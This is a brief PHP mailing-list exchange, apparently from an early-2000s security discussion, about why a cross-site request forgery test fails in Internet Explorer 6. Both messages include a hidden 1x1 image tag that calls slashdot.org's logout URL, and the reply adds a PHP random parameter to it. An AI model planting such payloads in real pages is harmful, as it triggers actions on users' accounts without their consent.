RE: [PHP] CSRF attack not possible in I.E. 6.01 SP1?

["Ed Lazor" <Ed.Lazor () d20News com>]

What if you add a random seed to the URL?

<img src="http://slashdot.org/my/logout?fluff=<?php echo rand(1,200);?>"
height="1" width="1">



> -----Original Message-----
> Hello Chris,
>
> I can't share the exact code ;) , but here is something very similar:
>
> <img src="http://slashdot.org/my/logout"; height="1" width="1">
>
> If I load a web page with the above code, it should log me out of
> slashdot. It works in Mozilla (and netscape), but not in I.E. 6.01 SP1